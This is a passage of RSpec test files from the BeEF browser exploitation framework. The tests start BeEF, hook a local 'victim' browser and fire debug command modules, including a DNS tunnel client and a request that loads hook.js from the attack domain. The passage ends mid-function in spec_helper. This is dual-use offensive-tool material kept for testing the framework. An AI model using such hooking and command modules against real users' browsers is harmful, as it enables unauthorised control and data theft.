    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'rest-client'\nrequire 'core/main/network_stack/websocket/websocket'\nrequire 'websocket-client-simple'\n\nRSpec.describe 'BeEF Extension WebSockets' do\n  before(:all) do\n    @config = BeEF::Core::Configuration.instance\n    @cert_key = @config.get('beef.http.https.key')\n    @cert = @config.get('beef.http.https.cert')\n    @port = @config.get('beef.http.websocket.port')\n    @secure_port = @config.get('beef.http.websocket.secure_port')\n    @config.set('beef.http.websocket.secure', false)\n    @ws = BeEF::Core::Websocket::Websocket.instance\n  end\n\n  after(:all) do\n    @config.set('beef.http.websocket.secure', true)\n  end\n\n  it 'confirms that a websocket server has been started' do\n\t  expect(@ws).to be_a_kind_of(BeEF::Core::Websocket::Websocket)\n  end\n\n  it 'confirms that a secure websocket server has been started' do\n    @config.set('beef.http.websocket.secure', true)\n    wss = BeEF::Core::Websocket::Websocket.instance\n    expect(wss).to be_a_kind_of(BeEF::Core::Websocket::Websocket)\n  end\n\n  xit 'confirms that a websocket client can connect to the BeEF Websocket Server' do\n    sleep(3)\n    client = WebSocket::Client::Simple.connect \"ws://127.0.0.1:#{@port}\"\n    sleep(1)\n    expect(client).to be_a_kind_of(WebSocket::Client::Simple::Client)\n    expect(client.open?).to be true\n    client.close\n  end\nend\n"
  },
  {
    "path": "spec/beef/extensions/xssrays_spec.rb",
    "content": "\n#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'extensions/xssrays/extension'\n\nRSpec.describe 'BeEF Extension XSSRays' do\n  before(:all) do\n    @config = BeEF::Core::Configuration.instance\n    @config.load_extensions_config\n  end\n\n  it 'loads configuration' do\n    config = @config.get('beef.extension.xssrays')\n    expect(config).to have_key('enable')\n    expect(config).to have_key('clean_timeout')\n    expect(config).to have_key('cross_origin')\n  end\n\n  it 'interface' do\n    xssrays = BeEF::Extension::Xssrays::API::Scan.new\n    expect(xssrays).to respond_to(:start_scan)\n    expect(xssrays).to respond_to(:add_to_body)\n  end\nend\n"
  },
  {
    "path": "spec/beef/filesystem_checks_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nRSpec.describe 'BeEF Filesystem' do\n  def file_test(file)\n    expect(File.file?(file)).to be(true)\n    expect(File.zero?(file)).to be(false)\n  end\n\n  it 'required files' do\n    files = [\n      'beef',\n      'config.yaml',\n      'install'\n    ]\n    files.each do |f|\n      file_test(f)\n    end\n  end\n\n  it 'executable directories' do\n    dirs = [\n      'core',\n      'modules',\n      'extensions'\n    ]\n    dirs.each do |d|\n      expect(File.executable?(d)).to be(true)\n    end\n  end\nend\n"
  },
  {
    "path": "spec/beef/modules/debug/test_beef_debugs_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nrequire 'rest-client'\nrequire 'json'\nrequire_relative '../../../spec_helper'\nrequire_relative '../../../support/constants'\nrequire_relative '../../../support/beef_test'\n\nRSpec.describe 'BeEF Debug Command Modules:', run_on_browserstack: true do\n  before(:all) do\n    @__ar_config_snapshot = SpecActiveRecordConnection.snapshot\n    # Grab config and set creds in variables for ease of access\n    @config = BeEF::Core::Configuration.instance\n    @pids = []  # ensure defined for teardown consistency\n    # Grab DB file and regenerate if requested\n    print_info 'Loading database'\n    db_file = @config.get('beef.database.file')\n    print_info 'Resetting the database for BeEF.'\n\n    if ENV['RESET_DB']\n      File.delete(db_file) if File.exist?(db_file)\n    end\n\n    @username = @config.get('beef.credentials.user')\n    @password = @config.get('beef.credentials.passwd')\n\n    # Load BeEF extensions and modules\n    # Always load Extensions, as previous changes to the config from other tests may affect\n    # whether or not this test passes.\n    print_info 'Loading in BeEF::Extensions'\n    BeEF::Extensions.load\n\n    # Check if modules already loaded. No need to reload.\n    if @config.get('beef.module').nil?\n      print_info 'Loading in BeEF::Modules'\n      BeEF::Modules.load\n    else\n      print_info 'Modules already loaded'\n    end\n\n\n    # Load up DB and migrate if necessary\n    ActiveRecord::Base.logger = nil\n    OTR::ActiveRecord.configure_from_hash!(adapter: 'sqlite3', database: db_file)\n    # otr-activerecord require you to manually establish the connection with the following line\n    #Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems.\n    if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2')\n      OTR::ActiveRecord.establish_connection!\n    end\n\n    ActiveRecord::Migrator.migrations_paths = [File.join('core', 'main', 'ar-migrations')]\n    MUTEX.synchronize do\n      context = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths)\n      if context.needs_migration?\n        ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate\n      end\n    end\n\n    BeEF::Core::Migration.instance.update_db!\n\n    # Spawn HTTP Server\n    print_info 'Starting HTTP Hook Server'\n    http_hook_server = BeEF::Core::Server.instance\n\n    # Generate a token for the server to respond with\n    @token = BeEF::Core::Crypto.api_token\n\n    # ***** IMPORTANT: close any and all AR/OTR connections before forking *****\n    disconnect_all_active_record!\n\n    # Initiate server start-up\n    @pid = fork do\n      http_hook_server.prepare\n      BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)\n      http_hook_server.start\n    end\n\n    begin\n      @caps = CONFIG['common_caps'].merge(CONFIG['browser_caps'][TASK_ID])\n      @caps['name'] = self.class.description || ENV['name'] || 'no-name'\n      @caps['browserstack.local'] = true\n      @caps['browserstack.localIdentifier'] = ENV['BROWSERSTACK_LOCAL_IDENTIFIER']\n      @driver = Selenium::WebDriver.for(:remote,\n                                        url: \"http://#{CONFIG['user']}:#{CONFIG['key']}@#{CONFIG['server']}/wd/hub\",\n                                        options: @caps)\n      # Hook new victim\n      print_info 'Hooking a new victim, waiting a few seconds...'\n      wait = Selenium::WebDriver::Wait.new(timeout: 30) # seconds\n\n      @driver.navigate.to VICTIM_URL.to_s\n\n      sleep 1\n\n      sleep 1 until wait.until { @driver.execute_script('return window.beef.session.get_hook_session_id().length') > 0 }\n\n      @session = @driver.execute_script('return window.beef.session.get_hook_session_id()')\n\n      # Grab Command Module IDs as they can differ from machine to machine\n      @debug_mod_ids = JSON.parse(RestClient.get(\"#{RESTAPI_MODULES}?token=#{@token}\"))\n      @debug_mod_names_ids = {}\n      @debug_mods = @debug_mod_ids.to_a.select do |cmd_mod|\n        category = Array(cmd_mod['category'])\n        category_string = if category.is_a?(Array)\n                            category.join(', ')\n                          else\n                            category.to_s\n                          end\n        category_string.include?('Debug')\n      end.map do |debug_mod|\n        @debug_mod_names_ids[debug_mod['class']] = debug_mod['id']\n      end\n    rescue StandardError => e\n      print_info \"Exception: #{e}\"\n      print_info \"Exception Class: #{e.class}\"\n      print_info \"Exception Message: #{e.message}\"\n      print_info \"Exception Stack Trace: #{e.backtrace}\"\n      if @driver.execute_script('return window.beef.session.get_hook_session_id().length').nil?\n        exit 1\n      else\n        exit 0\n      end\n    end\n  end\n\n  after(:all) do\n    server_teardown(@driver, @pid, @pids)\n    disconnect_all_active_record!\n    SpecActiveRecordConnection.restore!(@__ar_config_snapshot)\n  end\n\n  it 'The Test_beef.debug() command module successfully executes' do\n    cmd_mod_id = @debug_mod_names_ids['Test_beef_debug']\n    response = RestClient.post \"#{RESTAPI_MODULES}/#{@session}/#{cmd_mod_id}?token=#{@token}\",\n                               { \"msg\": 'test' }.to_json,\n                               content_type: :json\n    result_data = JSON.parse(response.body)\n    expect(result_data['success']).to eq 'true'\n  end\n\n  it 'The Return ASCII Characters command module successfully executes' do\n    cmd_mod_id = @debug_mod_names_ids['Test_return_ascii_chars']\n    response = RestClient.post \"#{RESTAPI_MODULES}/#{@session}/#{cmd_mod_id}?token=#{@token}\",\n                               {}.to_json,\n                               content_type: :json\n    result_data = JSON.parse(response.body)\n    expect(result_data['success']).to eq 'true'\n  end\n\n  it 'The Return Image command module successfully executes' do\n    cmd_mod_id = @debug_mod_names_ids['Test_return_image']\n    response = RestClient.post \"#{RESTAPI_MODULES}/#{@session}/#{cmd_mod_id}?token=#{@token}\",\n                               {}.to_json,\n                               content_type: :json\n    result_data = JSON.parse(response.body)\n    expect(result_data['success']).to eq 'true'\n  end\n\n  it 'The Test HTTP Redirect command module successfully executes' do\n    cmd_mod_id = @debug_mod_names_ids['Test_http_redirect']\n    response = RestClient.post \"#{RESTAPI_MODULES}/#{@session}/#{cmd_mod_id}?token=#{@token}\",\n                               {}.to_json,\n                               content_type: :json\n    result_data = JSON.parse(response.body)\n    expect(result_data['success']).to eq 'true'\n  end\n\n  it 'The Test Returning Results/Long String command module successfully executes' do\n    cmd_mod_id = @debug_mod_names_ids['Test_return_long_string']\n    response = RestClient.post \"#{RESTAPI_MODULES}/#{@session}/#{cmd_mod_id}?token=#{@token}\",\n                               { \"repeat\": 20,\n                                 \"repeat_string\": 'beef' }.to_json,\n                               content_type: :json\n    result_data = JSON.parse(response.body)\n    expect(result_data['success']).to eq 'true'\n  end\n\n  it 'The Test Network Request command module successfully executes' do\n    cmd_mod_id = @debug_mod_names_ids['Test_network_request']\n    response = RestClient.post \"#{RESTAPI_MODULES}/#{@session}/#{cmd_mod_id}?token=#{@token}\",\n                               { \"scheme\": 'http',\n                                 \"method\": 'GET',\n                                 \"domain\": ATTACK_DOMAIN.to_s,\n                                 \"port\": @config.get('beef.http.port').to_s,\n                                 \"path\": '/hook.js',\n                                 \"anchor\": 'anchor',\n                                 \"data\": 'query=testquerydata',\n                                 \"timeout\": '10',\n                                 \"dataType\": 'script' }.to_json,\n                               content_type: :json\n    result_data = JSON.parse(response.body)\n    expect(result_data['success']).to eq 'true'\n  end\n\n  it 'The Test DNS Tunnel command module successfully executes' do\n    cmd_mod_id = @debug_mod_names_ids['Test_dns_tunnel_client']\n    response = RestClient.post \"#{RESTAPI_MODULES}/#{@session}/#{cmd_mod_id}?token=#{@token}\",\n                               { \"domain\": 'example.com',\n                                 \"data\": 'Lorem ipsum' }.to_json,\n                               content_type: :json\n    result_data = JSON.parse(response.body)\n    expect(result_data['success']).to eq 'true'\n  end\n\n  it 'The Test CORS Request command module successfully executes' do\n    cmd_mod_id = @debug_mod_names_ids['Test_cors_request']\n    response = RestClient.post \"#{RESTAPI_MODULES}/#{@session}/#{cmd_mod_id}?token=#{@token}\",\n                               { \"method\": 'GET',\n                                 \"url\": 'example.com',\n                                 \"data\": {\n                                   \"test\": 'data'\n                                 } }.to_json,\n                               content_type: :json\n    result_data = JSON.parse(response.body)\n    expect(result_data['success']).to eq 'true'\n  end\nend\n"
  },
  {
    "path": "spec/beef/security_checks_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nRSpec.describe 'BeEF Security Checks' do\n  it 'dangerous eval usage' do\n    Dir['**/*.rb'].each do |path|\n      File.open(path) do |f|\n        next if /#{File.basename(__FILE__)}/.match(path) # skip this file\n        next if %r{/msf-test/}.match(path) # skip this file\n        next if %r{extensions/dns}.match(path) # skip this file\n\n        f.grep(/\\Weval\\W/im) do |line|\n          # check if comment starting with the '#' character\n          clean_line = line.downcase.gsub(/[ ]/, \"\")\n          if clean_line[0] != '#' # check first non-whitespace position\n            raise \"Illegal use of 'eval' found in\\n Path: #{path}\\nLine:  #{line}\"\n          end \n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "spec/features/all_modules_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'rspec'\nrequire 'rest-client'\nrequire 'spec/support/constants.rb'\nrequire 'spec/support/ui_support.rb'\n\nRSpec.describe 'Load All Modules Integration', run_on_long_tests: true  do\n    before(:each) do\n        @pid, @beef_session, @hooked_browser = start_beef_and_hook_browser\n    end\n\n    after(:each) do\n        stop_beef_and_unhook_browser(@pid, @beef_session, @hooked_browser)\n    end\n    \n    it \"Load all modules\" do\n        \n        Dir.glob(\"modules/**/config.yaml\").each do |file|\n            module_yaml_data = YAML.load_file(file)\n            \n            module_yaml_data['beef']['module'].each do |module_key, module_value|\n                next if rand(50) != 0 # for testing purposes only\n                \n                next if not module_value['enable'] # skip disabled modules\n                \n                module_name = module_value['name']\n                module_category = module_value['category'] # can be an array or a string\n                module_description_sub = module_value['description'][0, 15]  # descriptions including html cause errors\n                \n                expect(module_category).not_to be_nil\n                expect(module_name).not_to be_nil\n                \n                expect(@beef_session).to have_content(module_category, wait: PAGE_LOAD_TIMEOUT) if module_category.is_a?(String)\n                \n                expect(module_name).to be_a(String)\n                expect(module_description_sub).not_to be_nil\n                expect(module_description_sub).to be_a(String)\n                \n                # print the category and module name\n                if module_category.is_a?(Array) \n                    category_tree_text =  module_category.join(' > ')\n                else\n                    category_tree_text = module_category\n                end\n                print_info \"Category: #{category_tree_text}, Module: #{module_name}\"\n                \n                # click on the module then expect the description and execute button to be visible\n                click_on_module(@beef_session, module_category, module_name)\n                \n                # expect the module description and the execute button to be visible\n                expect(@beef_session).to have_content(module_description_sub, wait: PAGE_LOAD_TIMEOUT)\n                expect(@beef_session).to have_content('Execute', wait: PAGE_LOAD_TIMEOUT)\n\n                # tidy up and collapse the category tree\n                collapse_category_tree(@beef_session, module_category)\n            end\n        end\n    end\nend"
  },
  {
    "path": "spec/features/debug_modules_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'rspec'\nrequire 'rest-client'\nrequire 'spec/support/constants.rb'\nrequire 'spec/support/ui_support.rb'\n\nRSpec.describe 'Debug Modules Integration', run_on_long_tests: true  do\n    before(:each) do\n        @pid, @beef_session, @hooked_browser = start_beef_and_hook_browser\n    end\n\n    after(:each) do\n        stop_beef_and_unhook_browser(@pid, @beef_session, @hooked_browser)\n    end\n    \n    it 'Test beef.debug module' do\n        click_on_module(@beef_session, 'Debug', 'Test beef.debug')\n        expect(@beef_session).to have_content('Execute', wait: PAGE_LOAD_TIMEOUT)\n        expect(@beef_session).to have_content('244', wait: PAGE_LOAD_TIMEOUT) # Module ID\n        expect(@beef_session).to have_content('Debug Message:', wait: PAGE_LOAD_TIMEOUT)\n    end\n    \n    it \"Load all debug modules\" do\n        Dir.glob(\"modules/debug/**/config.yaml\").each do |file|\n            module_yaml_data = YAML.load_file(file)\n    \n            module_yaml_data['beef']['module'].each do |module_key, module_value|\n                module_category = module_value['category']\n                module_name = module_value['name']\n                # some descriptions are too long and include html tags\n                module_description_sub = module_value['description'][0, 20]\n    \n                expect(@beef_session).to have_content(module_category, wait: PAGE_LOAD_TIMEOUT)\n                expect(module_category).not_to be_nil\n                expect(module_category).to be_a(String)\n                expect(module_name).not_to be_nil\n                expect(module_name).to be_a(String)\n                expect(module_description_sub).not_to be_nil\n                expect(module_description_sub).to be_a(String)\n    \n                click_on_module(@beef_session, 'Debug', module_name)\n    \n                expect(@beef_session).to have_content(module_description_sub, wait: PAGE_LOAD_TIMEOUT)\n                expect(@beef_session).to have_content('Execute', wait: PAGE_LOAD_TIMEOUT)\n    \n                # execute the module\n                @beef_session.click_on('Execute')\n    \n                # expect the module to make command output visible\n                expect(@beef_session).to have_content('command 1', wait: PAGE_LOAD_TIMEOUT)\n    \n                # click on the command section to display the output\n                @beef_session.all('div.x-grid3-cell-inner').each do |div|\n                    if div.text == 'command 1'\n                        div.click\n                        break\n                    end\n                end\n    \n                if module_name == 'Return Image' # this module returns an image not a string\n                    image_selector = \"img[src^='data:image/png;base64,iVBORw0KGgo']\"\n                    expect(@beef_session).to have_css(image_selector, wait: PAGE_LOAD_TIMEOUT) \n                else\n                    expect(@beef_session).to have_content('data: ', wait: PAGE_LOAD_TIMEOUT)\n                end\n            end\n        end\n    end\n    \nend"
  },
  {
    "path": "spec/requests/beef_test_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'spec_helper'\nrequire 'capybara/rspec'\nrequire_relative '../support/beef_test'\n\nRSpec.describe BeefTest, run_on_long_tests: true  do\n\n    before(:each) do\n        @pid = start_beef_server_and_wait\n    end\n\n    after(:each) do\n        stop_beef_server(@pid)\n    end\n\n    describe '.login' do\n        it 'logs in successfully' do\n            expect(port_available?) # Check if the tcp port is open\n            session = BeefTest.login()\n            expect(session).not_to be_nil\n            expect(session.has_content?('Hooked Browsers', wait: 10))\n        end\n    end\n\n    describe '.logout' do\n        before(:each) do\n            expect(port_available?) # # Check if the tcp port is open\n            @session = BeefTest.login() # Ensure login before each '.logout' test\n            expect(@session.has_content?('Hooked Browsers', wait: 10))\n        end\n\n        it 'logs out successfully' do\n            expect(port_available?) # # Check if the tcp port is open\n            expect(@session.has_content?('Hooked Browsers', wait: 10))\n            \n            # Log out of the session\n            @sessoin = BeefTest.logout(@session)\n            expect(@session.has_no_content?('Hooked Browsers', wait: 10))\n            expect(@session.has_content?('Authentication', wait: 10))\n        @session.reset_session!\n        end\n    end\n\n    describe '.save_screenshot' do\n        it 'saves a screenshot' do\n            session = Capybara::Session.new(:selenium_headless) if session.nil?\n            \n            # Ensure the new directory does not exist\n            outputDir = '/tmp'\n            directory = \"#{outputDir}/#{SecureRandom.hex}/\"\n            expect(File.directory?(directory)).to be false\n\n            # Save the screenshot\n            BeefTest.save_screenshot(session, directory)\n\n            # Ensure the screenshot was saved\n            expect(File.directory?(directory)).to be true\n            screenshot_files = Dir.glob(\"#{directory}/*.png\")\n            expect(screenshot_files.empty?).to be false\n\n            # Ensure the screenshot file is not empty and clean up\n            screenshot_files.each do |file|\n                expect(File.size(file)).to be > 0\n                File.delete(file)\n            end\n            expect(Dir.glob(\"#{directory}/*.png\").empty?).to be true     \n            \n            # Remove the directory\n            Dir.delete(directory)\n            expect(File.directory?(directory)).to be false\n        end\n    end\n\n    let(:session) { Capybara::Session.new(:selenium_headless) }\n    let(:victim) { Capybara::Session.new(:selenium_headless) }\n\n    describe '.new_attacker' do\n        it 'creates a new attacker session' do\n            # # Test setup\n            expect(session).not_to be_nil\n\n            result = BeefTest.new_attacker(session)\n            \n            # Test assertions\n            expect(result).to eq(session)\n            expect(session.has_no_content?('Authentication', wait: 10))\n            expect(session.has_content?('Hooked Browsers', wait: 10))\n            session.reset_session!\n        end\n    end\n\n    describe '.new_victim' do\n        it 'creates a new victim session' do\n            # Test setup\n            allow(victim).to receive(:visit)\n            expect(victim).not_to be_nil\n\n            # Test execution\n            result = BeefTest.new_victim(victim)\n\n            # Test assertions\n            expect(victim).to have_received(:visit).with(VICTIM_URL)\n            expect(result).to eq(victim)\n            victim.reset_session!\n        end\n    end\nend\n"
  },
  {
    "path": "spec/requests/login_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'rspec'\nrequire 'spec/support/constants.rb'\n\nRSpec.describe 'Beef Login', run_on_long_tests: true  do\n  let(:session) { Capybara::Session.new(:selenium_headless) }\n\n  before(:each) do\n    @pid = start_beef_server\n  end\n\n  after(:each) do\n    stop_beef_server(@pid)\n    # BeefTest.save_screenshot(session)\n    session.driver.browser.close\n  end\n\n  it 'logs in successfully' do\n    session.visit(ATTACK_URL)\n\n    expect(session.has_content?('Authentication', wait: 10))\n    expect(session.has_no_content?('Hooked Browsers', wait: 10))\n\n    if session.has_field?('user', visible: true)\n      session.fill_in 'user', with: BEEF_USER\n    end\n\n    if session.has_field?('pass', visible: true)\n      session.fill_in 'pass', with: BEEF_PASSWD\n    end\n\n    if session.has_button?('Login', visible: true)\n      session.click_button('Login')\n    end\n\n    expect(session.has_no_content?('Authentication', wait: 10))\n    expect(session.has_content?('Hooked Browsers', wait: 10))\n  end\n\n  it 'logs out successfully' do\n    session = BeefTest.login()\n\n    expect(session).not_to be_nil\n    expect(session.has_content?('Hooked Browsers', wait: 10))\n    expect(session.has_content?('Logout', wait: 10))\n\n    session.click_link('Logout')\n\n    expect(session.has_no_content?('Hooked Browsers', wait: 10))\n    expect(session.has_content?('Logout', wait: 10))\n    expect(session.has_content?('BeEF Authentication', wait: 10))\n  end\n\n  it 'displays logs tab' do\n    session = BeefTest.login()\n\n    expect(session.has_content?('Hooked Browsers', wait: 10))\n    expect(session.has_content?('Logout', wait: 10))\n    expect(session.has_content?('Logs', wait: 10))\n\n    session.click_on('Logs')\n\n    expect(session).to have_content('Logout', wait: 10)\n    expect(session).to have_content('Hooked Browsers', wait: 10)\n    expect(session).to have_content('Type', wait: 10)\n    expect(session).to have_content('Event', wait: 10)\n    expect(session).to have_content('Date', wait: 10)\n    expect(session).to have_content('Page', wait: 10)\n    expect(session).to have_content('User with ip 127.0.0.1 has successfully authenticated in the application', wait: 10)\n  end\n\n  it 'hooks a browser successfully' do\n    attacker = BeefTest.new_attacker\n    victim = BeefTest.new_victim\n\n    expect(attacker).to have_content('Logout', wait: 10)\n    expect(attacker).to have_content(VICTIM_DOMAIN, wait: 10)\n\n    attacker.click_on(\"127.0.0.1\", match: :first)\n\n    expect(attacker).to have_content('Details')\n    expect(attacker).to have_content('Commands')\n\n    BeefTest.logout(attacker)\n    attacker.driver.browser.close\n    victim.driver.browser.close\n  end\nend"
  },
  {
    "path": "spec/spec_helper.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# Coverage must start before loading application code.\nrequire 'simplecov'\nSimpleCov.start do\n  add_filter '/spec/'\n  add_group 'Core', 'core'\n  add_group 'Extensions', 'extensions'\n  add_group 'Modules', 'modules'\n  track_files '{core,extensions,modules}/**/*.rb'\nend\n\n# Set external and internal character encodings to UTF-8\nEncoding.default_external = Encoding::UTF_8\nEncoding.default_internal = Encoding::UTF_8\n\nrequire 'core/loader.rb'\n\n# @note We need to load variables that 'beef' usually does for us\n\n# @todo review this config (this isn't used or is shadowed by the monkey patching, needs a further look to fix properly)\nconfig = BeEF::Core::Configuration.new('config.yaml')\n$home_dir = Dir.pwd\n$root_dir = Dir.pwd\n\nrequire 'core/bootstrap.rb'\nrequire 'rack/test'\nrequire 'curb'\nrequire 'rest-client'\nrequire 'yaml'\nrequire 'selenium-webdriver'\nrequire 'browserstack/local'\nrequire 'byebug'\n\nMUTEX ||= Mutex.new\n\n# Require supports\nDir['spec/support/*.rb'].each do |f|\n  require f\nend\n\nENV['RACK_ENV'] ||= 'test' # Set the environment to test\nARGV.clear\n\n## BrowserStack config\n\n# Monkey patch to avoid reset sessions\nclass Capybara::Selenium::Driver < Capybara::Driver::Base\n  def reset!\n    @browser.navigate.to('about:blank') if @browser\n  end\nend\n\nTASK_ID = (ENV['TASK_ID'] || 0).to_i\nCONFIG_FILE = ENV['CONFIG_FILE'] || 'windows/win10/win10_chrome_81.config.yml'\nCONFIG = YAML.safe_load(File.read(\"./spec/support/browserstack/#{CONFIG_FILE}\"))\nCONFIG['user'] = ENV['BROWSERSTACK_USERNAME'] || ''\nCONFIG['key'] = ENV['BROWSERSTACK_ACCESS_KEY'] || ''\n\n## DB config\nActiveRecord::Base.logger = nil\nOTR::ActiveRecord.configure_from_hash!(adapter: 'sqlite3', database: ':memory:')\n\n# otr-activerecord requires manually establishing the connection with the following line\n# Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems.\nif Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2')\n  OTR::ActiveRecord.establish_connection!\nend\nActiveRecord::Schema.verbose = false\n\n# Migrate (if required)\nActiveRecord::Migration.verbose = false # silence activerecord migration stdout messages\nActiveRecord::Migrator.migrations_paths = [File.join('core', 'main', 'ar-migrations')]\ncontext = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths)\nif context.needs_migration?\n  ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate\nend\n\n# -------------------------------------------------------------------\n# Console logger shims\n# Some extensions may call Console.level= or BeEF::Core::Console.level=\n# Ensure both are safe.\n# -------------------------------------------------------------------\nmodule BeEF\n  module Core\n    module Console\n      class << self\n        attr_accessor :logger\n        def level=(val)\n          (self.logger ||= Logger.new($stdout)).level = val\n        end\n        def level\n          (self.logger ||= Logger.new($stdout)).level\n        end\n        # Proxy common logger methods if called directly (info, warn, error, etc.)\n        def method_missing(m, *args, &blk)\n          lg = (self.logger ||= Logger.new($stdout))\n          return lg.public_send(m, *args, &blk) if lg.respond_to?(m)\n          super\n        end\n        def respond_to_missing?(m, include_priv = false)\n          (self.logger ||= Logger.new($stdout)).respond_to?(m, include_priv) || super\n        end\n      end\n    end\n  end\nend\nBeEF::Core::Console.logger ||= Logger.new($stdout)\n\n# Some code may reference a top-level ::Console constant (not namespaced)\nunless defined?(::Console) && ::Console.respond_to?(:level=)\n  module ::Console\n    class << self\n      attr_accessor :logger\n      def level=(val)\n        (self.logger ||= Logger.new($stdout)).level = val\n      end\n      def level\n        (self.logger ||= Logger.new($stdout)).level\n      end\n      # Proxy to logger for typical logging calls\n      def method_missing(m, *args, &blk)\n        lg = (self.logger ||= Logger.new($stdout))\n        return lg.public_send(m, *args, &blk) if lg.respond_to?(m)\n        super\n      end\n      def respond_to_missing?(m, include_priv = false)\n        (self.logger ||= Logger.new($stdout)).respond_to?(m, include_priv) || super\n      end\n    end\n  end\nend\n\nRSpec.configure do |config|\n  config.disable_monkey_patching!\n  config.bisect_runner = :shell\n  config.order = :random\n  Kernel.srand config.seed\n  config.include Rack::Test::Methods\n  config.expect_with :rspec do |c|\n    c.syntax = :expect\n  end\n  config.around do |example|\n    ActiveRecord::Base.transaction do\n      # byebug\n      example.run\n      raise ActiveRecord::Rollback\n    end\n  end\n\n  def server_teardown(webdriver, server_pid, server_pids)\n    begin\n      webdriver&.quit\n    rescue => e\n      warn \"[server_teardown] webdriver quit failed: #{e.class}: #{e.message}\"\n    end\n\n    begin\n      Process.kill('KILL', server_pid) if server_pid\n    rescue => e\n      warn \"[server_teardown] kill failed: #{e.class}: #{e.message}\"\n    end\n\n    Array(server_pids).each do |pid|\n      begin\n        Process.kill('KILL', pid) if pid\n      rescue\n        # ignore\n      end\n    end\n  end\n\n########################################\n\ndef reset_beef_db\n  begin\n      db_file = BeEF::Core::Configuration.instance.get('beef.database.file')\n      File.delete(db_file) if File.exist?(db_file)\n  rescue => e\n      print_error(\"Could not remove '#{db_file}' database file: #{e.message}\")\n  end\nend\n\nrequire 'socket'\n\n  def port_available?\n    socket = TCPSocket.new(@host, @port)\n    socket.close\n    false  # If a connection is made, the port is in use, so it's not available.\n  rescue Errno::ECONNREFUSED\n    true   # If the connection is refused, the port is not in use, so it's available.\n  rescue Errno::EADDRNOTAVAIL\n    true   # If the connection is refused, the port is not in use, so it's available.\n  end\n\n  def configure_beef\n    # Reset or re-initialise the configuration to a default state\n    @config = BeEF::Core::Configuration.instance\n\n    @config.set('beef.credentials.user', \"beef\")\n    @config.set('beef.credentials.passwd', \"beef\")\n    @config.set('beef.http.https.enable', false)\n  end\n\n  # Load the server\n  def load_beef_extensions_and_modules\n      # Load BeEF extensions\n      BeEF::Extensions.load\n\n      # Load BeEF modules only if they are not already loaded\n      BeEF::Modules.load if @config.get('beef.module').nil?\n  end\n\n  # --- HARD fork-safety: disconnect every pool/adapter we can find ---\n  def disconnect_all_active_record!\n    # print_info \"Entering disconnect_all_active_record!\"\n    if defined?(ActiveRecord::Base)\n      # print_info \"Disconnecting ActiveRecord connections\"\n      handler = ActiveRecord::Base.connection_handler\n      if handler.respond_to?(:connection_pool_list)\n        # print_info \"Using connection_pool_list\"\n        handler.connection_pool_list.each { |pool| pool.disconnect! }\n      elsif handler.respond_to?(:connection_pools)\n        # print_info \"Using connection_pools\"\n        handler.connection_pools.each_value { |pool| pool.disconnect! }\n      end\n    else\n      print_info \"ActiveRecord::Base not defined\"\n    end\n  end\n\n  def start_beef_server\n    configure_beef\n    @port = @config.get('beef.http.port')\n    @host = @config.get('beef.http.host')\n    @host = '127.0.0.1'\n\n    unless port_available?\n      raise \"Port #{@port} is already in use. Cannot start BeEF server.\"\n    end\n    load_beef_extensions_and_modules\n    \n    # Grab DB file and regenerate if requested\n    db_file = @config.get('beef.database.file')\n\n    if BeEF::Core::Console::CommandLine.parse[:resetdb]\n      File.delete(db_file) if File.exist?(db_file)\n    end\n\n    # ***** IMPORTANT: close any and all AR/OTR connections before forking *****\n    disconnect_all_active_record!\n\n    # Load up DB and migrate if necessary\n    ActiveRecord::Base.logger = nil\n    OTR::ActiveRecord.configure_from_hash!(adapter:'sqlite3', database: db_file)\n    # otr-activerecord require you to manually establish the connection with the following line\n    #Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems.\n    if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2')\n      OTR::ActiveRecord.establish_connection!\n    end\n\n    # Migrate (if required)\n    ActiveRecord::Migration.verbose = false # silence activerecord migration stdout messages\n    